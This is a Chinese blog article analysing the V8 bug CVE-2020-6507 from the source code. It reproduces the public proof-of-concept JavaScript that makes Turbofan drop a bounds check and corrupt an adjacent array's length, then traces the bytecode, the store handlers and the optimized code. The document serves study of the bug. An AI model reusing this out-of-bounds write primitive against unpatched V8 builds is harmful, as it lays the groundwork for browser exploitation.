《Chrome V8 Bug》1. CVE-2020-6507 详细讲解

前言

《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因,并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析,讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的,分析 PoC 在 V8 中的执行细节,讲解为什么 PoC 要这样设计。当然,学习 PoC 的设计与使用,是 V8 安全研究的很好的出发点,所以,对于希望深入学习 V8 源码和 PoC 原理的人来说,本系列文章也是很有价值的介绍性读物。
本系列文章主要讲解 https://bugs.chromium.org/p/v8/issues 的内容,每篇文章讲解一个 issue。如果你有想学习的 issue 也可以告诉我,我会优先分析讲解。

 

1 介绍

本文讲解 CVE-2020-6507,Chrome issues 地址:https://bugs.chromium.org/p/chromium/issues/detail?id=1086890
实验环境:V8 8.3.110.9,Visual Studio 2019,Win 10。

 

2 漏洞产生原因

漏洞 PoC 代码如下:

1.  array = Array(0x40000).fill(1.1);
2.  args = Array(0x100 - 1).fill(array);
3.  args.push(Array(0x40000 - 4).fill(2.2));
4.  giant_array = Array.prototype.concat.apply([], args);
5.  giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6.  length_as_double =
7.      new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8.  function trigger(array) {
9.    var x = array.length;
10.    x -= 67108861;
11.    x = Math.max(x, 0);
12.    x *= 6;
13.    x -= 5;
14.    x = Math.max(x, 0);
15.    let corrupting_array = [0.1, 0.1];
16.    let corrupted_array = [0.1];
17.    corrupting_array[x] = length_as_double;
18.    return [corrupting_array, corrupted_array];
19.  }
20.  for (let i = 0; i < 30000; ++i) {
21.    trigger(giant_array);
22.  }
23.  corrupted_array = trigger(giant_array)[1];
24.  console.log('corrupted array length: ' + corrupted_array.length.toString(16));
25.  corrupted_array[0x123456];

上述代码中,第 1-5 行创建数组 giant_rray;创建该数组时使用了 Turque 编写的 NewFixedDoubleArray() 方法,该方法没有检测数组的最大长度,这是产生漏洞的原因
V8 规定 FixedDoubleArray::kMaxLength 的值是 67108862,而 giant_rray 的长度是 67108863。
第 8-14 行 Turbofan 优化 trigger() 时,首先查询 feedback 得知 trigger 的参数 array 是 DoubleArray 类型,所以 FixedDoubleArray::kMaxLength 可以用于限制参数 array 的最大长度;
其次第 10 行 x -= 67108861,所以 Turbofan 认为 x 的最大值只能是 1;
再次第 11 行代码 max(x,0),所以 Turbofan 认为 x 的最小值只能为 0;
然后第 12-14 行不改变 x 是 1 或 0 的事实;
最终,Turbofan 得到结论:x 只能为 0 或 1。基于这个结论,第 17 行的赋值操作不会出现 corrupting_array 越界的情况,故省去赋值前的边界检测。
实际上,x 的最终值是 7,Turbofan 省去赋值前的边界检测,这给越界赋值带来了可乘之机,最终导致 corrupted_array 被污染。
在解释执行模式下,x 的最终值也是 7,但因为有边界检测,才没有发生越界操作。
知识点 (1)Turbofan 优化编译时会考虑每种数据类型的长度限制,例如 String::kMaxLength。Turbofan 遵守 FixedDoubleArray::kMaxLength ,而 NewFixedDoubleArray() 没有遵守,所以才有了 CVE-2020-6507。Turbofan 原理请参见 《chrome v8 源码》系列文章,本文不再赘述。

 

3 解释模式下的 PoC 行为

下面给出 trigger() 函数的字节码:

1.  [generated bytecode for function: trigger (0x03c50824fdd5 <SharedFunctionInfo trigger>)]
2.  Parameter count 2
3.  Register count 7
4.  Frame size 56
5.    401 S> 000003C50825035E @    0 : 28 02 00 00       LdaNamedProperty a0, [0], [0]
6.           000003C508250362 @    4 : 26 fb             Star r0
7.    412 S> 000003C508250364 @    6 : 01 41 fd ff ff 03 02 00 00 00 SubSmi.ExtraWide [67108861], [2]
8.           000003C50825036E @   16 : 26 fb             Star r0
9.    430 S> 000003C508250370 @   18 : 13 01 03          LdaGlobal [1], [3]
10.           000003C508250373 @   21 : 26 f7             Star r4
11.    439 E> 000003C508250375 @   23 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]
12.           000003C508250379 @   27 : 26 f8             Star r3
13.           000003C50825037B @   29 : 0b                LdaZero
14.           000003C50825037C @   30 : 26 f5             Star r6
15.    439 E> 000003C50825037E @   32 : 5a f8 f7 fb f5 07 CallProperty2 r3, r4, r0, r6, [7]
16.           000003C508250384 @   38 : 26 fb             Star r0
17.    453 S> 000003C508250386 @   40 : 42 06 09          MulSmi [6], [9]
18.           000003C508250389 @   43 : 26 fb             Star r0
19.    464 S> 000003C50825038B @   45 : 41 05 0a          SubSmi [5], [10]
20.           000003C50825038E @   48 : 26 fb             Star r0
21.    475 S> 000003C508250390 @   50 : 13 01 03          LdaGlobal [1], [3]
22.           000003C508250393 @   53 : 26 f7             Star r4
23.    484 E> 000003C508250395 @   55 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]
24.           000003C508250399 @   59 : 26 f8             Star r3
25.           000003C50825039B @   61 : 0b                LdaZero
26.           000003C50825039C @   62 : 26 f5             Star r6
27.    484 E> 000003C50825039E @   64 : 5a f8 f7 fb f5 0b CallProperty2 r3, r4, r0, r6, [11]
28.           000003C5082503A4 @   70 : 26 fb             Star r0
29.    523 S> 000003C5082503A6 @   72 : 7a 03 0d 25       CreateArrayLiteral [3], [13], #37
30.           000003C5082503AA @   76 : 26 fa             Star r1
31.    560 S> 000003C5082503AC @   78 : 7a 04 0e 25       CreateArrayLiteral [4], [14], #37
32.           000003C5082503B0 @   82 : 26 f9             Star r2
33.    594 S> 000003C5082503B2 @   84 : 13 05 0f          LdaGlobal [5], [15]
34.    592 E> 000003C5082503B5 @   87 : 30 fa fb 11       StaKeyedProperty r1, r0, [17]
35.    615 S> 000003C5082503B9 @   91 : 7a 06 13 25       CreateArrayLiteral [6], [19], #37
36.           000003C5082503BD @   95 : 26 f7             Star r4
37.           000003C5082503BF @   97 : 0b                LdaZero
38.           000003C5082503C0 @   98 : 26 f8             Star r3
39.           000003C5082503C2 @  100 : 25 fa             Ldar r1
40.    623 E> 000003C5082503C4 @  102 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]
41.           000003C5082503C8 @  106 : 0c 01             LdaSmi [1]
42.           000003C5082503CA @  108 : 26 f8             Star r3
43.           000003C5082503CC @  110 : 25 f9             Ldar r2
44.    641 E> 000003C5082503CE @  112 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]
45.           000003C5082503D2 @  116 : 25 f7             Ldar r4
46.    658 S> 000003C5082503D4 @  118 : aa                Return
47.  Constant pool (size = 7)
48.  000003C508250319: [FixedArray] in OldSpace
49.   - map: 0x03c5080404b1 <Map>
50.   - length: 7
51.             0: 0x03c5080425a5 <String[#6]: length>
52.             1: 0x03c5081c6e59 <String[#4]: Math>
53.             2: 0x03c5081c6ff5 <String[#3]: max>
54.             3: 0x03c5082502cd <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502b5 <FixedDoubleArray[2]>>
55.             4: 0x03c5082502e9 <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502d9 <FixedDoubleArray[1]>>
56.             5: 0x03c50824fcad <String[#16]: length_as_double>
57.             6: 0x03c508250305 <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x03c5082502f5 <FixedArray[2]>>
58.  Handler Table (size = 0)
59.  Source Position Table (size = 42)
60.  0x03c5082503d9 <ByteArray[42]>

上述代码中,第 1-28 行计算 x 的值并存储到寄存器 r0 中;
第 29-30 行创建数组 corrupting_array 并存储到寄存器 r1 中;
第 31-32 行创建数组 corrupted_array 并存储到寄存器 r2 中;
第 33 行读取 length_as_double 的值并存储到累加寄存器中;
第 34 行 StaKeyedProperty 完成 corrupting_array[7] = length_as_double 的赋值操作。
通过 %DebugPrint() 捕获解释执行和 Turbofan 模式下 corrupting_array 的结果如下:

 - elements: 0x016a08400285 <FixedDoubleArray[28]> {
         0-1: 0.1
         2-6: <the_hole>
           7: 1.38553e-134  // <-----<-----<------解释执行时,corrupting_array[x]的值正常。
        8-27: <the_hole>
 }
//分隔线.........................................
elements: 0x016a08cd4481 <FixedDoubleArray[2]> {
         0-1: 0.1      //<-------<-------<--------Turbofan模式下,corrupting_array只有两个值。
 }

由上面结果可以看出第 34 行 StaKeyedProperty 在解释执行和 Turbofan 中存在不同,StaKeyedProperty 的功能由 Builtins::kKeyedStoreIC 实现,KeyedStoreIC 源码如下:

1.  void AccessorAssembler::KeyedStoreIC(const StoreICParameters* p) {
2.  Label miss(this, Label::kDeferred);
3.  {//省略...............
4.    BIND(&try_polymorphic);
5.     TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
6.     {/*省略...............*/}
7.      BIND(&try_megamorphic);
8.      {/*省略...............*/}
9.      BIND(&no_feedback);
10.      {TailCallBuiltin(Builtins::kKeyedStoreIC_Megamorphic, p->context(),
11.                        p->receiver(), p->name(), p->value(), p->slot());}
12.      BIND(&try_polymorphic_name);
13.      {/*省略...............*/}  }
14.    BIND(&miss);
15.    {TailCallRuntime(Runtime::kKeyedStoreIC_Miss, p->context(), p->value(),
16.                      p->slot(), p->vector(), p->receiver(), p->name());
17.    }}

上述代码中,第 10 行 Builtins::kKeyedStoreIC_Megamorphic 和 第 15 行 Runtime::kKeyedStoreIC_Miss 是两种不同的实现方式,但他们的功能相同,都可以用于完成 corrupting_array[7] = length_as_double 操作。
Builtins::kKeyedStoreIC_Megamorphic 的核心功能由 KeyedStoreGenericAssembler::EmitGenericElementStore() 实现,其源码如下:

1.  void KeyedStoreGenericAssembler::EmitGenericElementStore(
2.      TNode<JSObject> receiver, TNode<Map> receiver_map,
3.      TNode<Uint16T> instance_type, TNode<IntPtrT> index, TNode<Object> value,
4.      TNode<Context> context, Label* slow) {
5.  //省略.............
6.    GotoIf(IsJSArrayInstanceType(instance_type), &if_array);
7.    {
8.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
9.      Print(LoadFixedArrayBaseLength(elements));
10.      Branch(UintPtrLessThan(index, capacity), &if_in_bounds, &if_grow); }
11.    BIND(&if_array);
12.    {
13.      TNode<IntPtrT> length = SmiUntag(LoadFastJSArrayLength(CAST(receiver)));
14.      GotoIf(UintPtrLessThan(index, length), &if_in_bounds);
15.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));
16.      GotoIf(UintPtrGreaterThanOrEqual(index, capacity), &if_grow);
17.      Branch(WordEqual(index, length), &if_increment_length_by_one,
18.             &if_bump_length_with_gap);  }
19.    BIND(&if_in_bounds);
20.    {/*省略....*/}
21.    BIND(&if_increment_length_by_one);
22.    {/*省略....*/}
23.    BIND(&if_bump_length_with_gap);
24.    {/*省略....*/}
25.    BIND(&if_grow);
26.    {/*省略....*/}
27.    BIND(&if_nonfast);
28.    {/*省略....*/}
29.    BIND(&if_dictionary);
30.    {/*省略....*/}
31.    BIND(&if_typed_array);
32.    {/*省略....*/}
33.  }

上述代码中,receiver 代表 PoC 中的 corrupting_array 数组;index 代表 x,值是 7;value 代表 length_as_double。我们在代码中可以看对数组容量进了检测,如第 8-9 行和 13-14 行。corrupting_array 的容量是 2,给 corrupting_array[7] 赋值之前会对 corrupting_array 进行扩容,这说明了为什么解释执行时 corrupting_array[x] 的值是正常的。
Runtime::kKeyedStoreIC_Miss 方法请自行查阅。
结论: 解释执行期间存在数组容量检测,所以没发生越界操作。

 

4 Turbofan 优化后的 PoC 行为

Turbofan 优化后时去除了容量检测,没有扩容而直接赋值导致了内存越界。优化后的代码如下:

--- Optimized code ---
optimization_id = 0
source_position = 374
kind = OPTIMIZED_FUNCTION
name = trigger
stack_slots = 6
compiler = turbofan
address = 000002D000092BE1

Instructions (size = 848)
000002D000092C20     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
000002D000092C27     7  483bd9         REX.W cmpq rbx,rcx
000002D000092C2A     a  7418           jz 000002D000092C44  <+0x24>
000002D000092C2C     c  48ba6800000000000000 REX.W movq rdx,0000000000000068
000002D000092C36    16  49ba808870fafe7f0000 REX.W movq r10,00007FFEFA708880  (Abort)    ;; off heap target
000002D000092C40    20  41ffd2         call r10
000002D000092C43    23  cc             int3l
000002D000092C44    24  8b59d0         movl rbx,[rcx-0x30]
000002D000092C47    27  4903dd         REX.W addq rbx,r13
000002D000092C4A    2a  f6430701       testb [rbx+0x7],0x1
000002D000092C4E    2e  740d           jz 000002D000092C5D  <+0x3d>
000002D000092C50    30  49baa0ef65fafe7f0000 REX.W movq r10,00007FFEFA65EFA0  (CompileLazyDeoptimizedCode)    ;; off heap target
000002D000092C5A    3a  41ffe2         jmp r10
//省略....................

上述代码中省去了数组的边界检测,通过 —print-code 和 —print-opt-code 选项可以在 d8 中输出上述代码,请自行分析。

 

5 X 的计算方法

trigger() 中的 corrupting_array 和 corrupted_array 在内存中是连续的,corrupting_array + 7 正好是 corrupted_array的 element 成员的地址,所以对 corrupting_array[7] 赋值会影响 corrupted_array的 element 成员。x 的计算方法如下:
corrupting_array 和 corrupted_array 都是 JSArray 数据类型,JSArray 继承自 JSObject,JSObject 继承自 JSReceiver,JSReceiver 继承自 HeapObject。通过查阅 JSArray、JSObject、JSReceiver 以及 HeapObject 的类定义,再配合 TORQUE_GENERATED_JS_ARRAY_FIELDS、TorqueGeneratedJSObject、TORQUE_GENERATED_JS_RECEIVER_FIELDS 三个宏模板,可以计算出任何一个想要的地址。

好了,今天到这里,下次见。
个人能力有限,有不足与纰漏,欢迎批评指正
微信:qq9123013 备注:v8交流 邮箱:v8blink@outlook.com

(完)